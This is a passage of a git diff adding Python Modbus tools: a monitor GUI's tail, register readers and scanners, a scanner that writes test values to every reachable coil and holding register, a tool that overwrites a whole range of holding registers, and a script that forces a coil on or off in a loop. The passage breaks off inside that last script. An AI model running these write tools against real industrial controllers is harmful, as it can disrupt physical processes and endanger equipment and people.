datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + 